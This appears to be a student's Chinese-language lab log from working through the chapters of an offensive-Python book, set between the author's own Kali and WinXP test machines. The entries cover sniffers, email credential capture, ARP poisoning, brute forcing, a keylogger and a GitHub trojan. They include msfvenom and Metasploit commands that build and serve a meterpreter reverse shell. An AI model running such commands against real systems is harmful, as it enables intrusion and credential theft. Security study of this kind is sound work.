python代碼見碼雲:20179204_gege
第2章 網絡基礎
- tcp客戶端(tcpclient.py),可以看到百度返回的HTTP響應。
- udp客戶端(udpclient.py)
首先先用nc監聽一下9999端口,-u就是udp模式,哈哈發過去了,最后打印出了ip和端口,nc沒發數據過來,可能就沒收到數據。
現在就可以比較一下tcp和udp的區別了,最核心的是udp不用連接,因為是無狀態的協議
發送和接受的函數也是有區別的,通過實驗發現recv和recvfrom的參數是接收幾個字符的意思。
- tcp服務器(tcpserver.py tcpclient1.py)
- 取代netcat (bhnet.py)
打開一個終端
./bhnet.py -l -p 9999 -c
打開新終端./bhnet.py -t localhost -p 9999
輸入ctrl+d
創建一個tcp代理proxy (proxy.py)
設置瀏覽器代理127.0.0.1:80 sudo python ./proxy.py 127.0.0.1 80 www.baidu.com 80 True 打開瀏覽器
.
通過paramiko使用ssh (bh_sshcmd.py bh_sshRcmd.py bh_sshserver.py)
參考博客Python黑帽子——通過Paramiko使用SSHpip install paramiko 生成密鑰 ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key 添加用戶 useradd -d /home/qing qing passwd qing 賦予ssh權限 vi /etc/ssh/sshd_config,添加 AllowUsers:qing
測試、運行結果
python bh_sshcmd.py python bh_sshserver.py 127.0.0.1 80 python bh_sshRcmd.py 可以在服務器端輸入一條命令mkdir ddr新建一個ddr文件夾
ssh隧道 (rforward.py bh_sshserver.py)建議在終端同時輸一下
不設置瀏覽器代理 終端1:python rforward.py 127.0.0.1 -p 8080 -r 127.0.0.1:80 --user gege --password gege 終端2:python bh_sshserver.py 127.0.0.1 80 終端3:python bh_sshRcmd.py 刷新瀏覽器127.0.0.1:8080
第3章 網絡:原始套接字和流量嗅探
- linux上的嗅探器 (sniffer.py)注意修改代碼中的ip地址
- linux下測試解碼ip層 (sniffer_ip_header_decode)注意修改代碼中的ip地址
- 解碼ICMP (sniffer_with_icmp.py)注意修改代碼中的ip地址
type0 code0 說明Echo Reply——回顯應答(Ping應答)
解碼ICMP
注:回顯請求與回顯應答是兩種icmp報文類型,類型號分別是8和0,這兩種類型下都只有一種代碼0。這兩種icmp報文屬查詢報文,主要用於測試網絡中另一台主機是否可達,向欲測試主機發送一份ICMP回顯請求,並等待返回ICMP回顯應答,如果能收到,表明該主機可達。
- 子網掃描器 (sniffer.py)注意修改代碼中的ip地址和子網地址
第4章 網絡:原始套接字和流量嗅探
- 簡單嗅探器(mail_test.py)
- 竊取email認證(mail_sniffer)
需要用命令行模擬郵件登陸(當然我用的是錯誤的用戶名和密碼,所以下圖是不能登錄成功的,但已經說明抓取成功),這里以登陸網易的pop3服務器為例 telnet pop3.163.com 110
利用scapy進行arp緩存投毒(arptest.py)需要修改代碼中兩個ip地址
攻擊機kali,目標機win2k。 kali上ping攻擊機。 在win上輸入命令ipconfig /all,arp -a檢查arp緩存。 首先要開啟對網關和目標ip地址的流量進行轉發的功能: echo 1 > /proc/sys/net/ipv4/ip_forward
處理pcap文件(pic_carver1.py)“人臉識別”
安裝opencv: apt-get install python-opencv python-numpy python-scipy wget http://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml
第5章 web攻擊
- 開源web應用安裝(web_app_mapper.py)
web_app_mapper1.py是課本的代碼 web_app_mapper2.py。這里作者應該是利用開源應用的本地文件目錄信息去訪問目標網站的對應目錄,看看哪些目錄是跟官方的一樣的,舉個例子:比如有沒有install目錄。
暴力破解目錄和文件位置(content_bruter.py),其中字典文件all.txt
暴力破解html表格認證(joomla_killer.py)
這個要搭建apache服務器,單純做不出。
第6章 擴展burp代理
- burp模糊測試(bhp_fuzzer.py)
打開burpsuite,environment 選擇jar文件路徑
extender——add——bup_fuzzer.py(課本97步驟)
- 在burp中利用bing服務(bhp_bing.py)課本105步驟
- 利用網站內容生成密碼字典(bhp_wordlist.py)課本111步驟
第7章 基於GitHub的命令和控制
- 基於github通信的木馬(git_trojan.py)失敗。
第8章 windows下木馬的常用功能(沙盒檢測沒做)
- 有趣的鍵盤記錄(winxpattacker下運行,C:\Documents and Settings\Administrator文件夾下keylogger.py)
安裝過程:
IDLE——run module
無論鍵盤輸入什么,都會被記錄下來。
截取屏幕快照(winxpattacker下運行,screenshotter.py)
截圖保存在c:\WINDOWS\Temp\screenshot.bmp下。python方式的shellcode執行【kali下輸入metasploit命令行,winxp下運行需要改代碼,windows彈出計算器calc.exe】(shell_exec.py)
kali:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.43.62.77 LPORT=1234 -f raw -o win_backdoor.raw base64 -i win_backdoor.raw > shellcode.bin python -m SimpleHTTPServer metasploit下: use exploit/multi/handler set LHOST 10.43.62.77 set LPORT 1234 exploit
winxppython運行
kaliexecute -f calc.exe
,在win下查看結果:
第9章 玩轉瀏覽器
- 基於瀏覽器的中間人攻擊
- 利用IE的COM組件自動化技術竊取數據
本章只實現了創建一個簡單快速的RSA公私鑰生成腳本(keygen.py)
第10章 windows系統提權(代碼插入沒做)
- 利用WMI監視進程(process_monitor.py)
直接在cmd命令行下python運行,日志只顯示在process_monitor_log.csv里了。
- windows系統的令牌權限(process_monitor1.py)
- 贏得競爭(file_monitor1.py)
第11章 自動化攻擊取證(本章沒成功)
抓取口令的哈希值
直接代碼注入(code_inject.py)失敗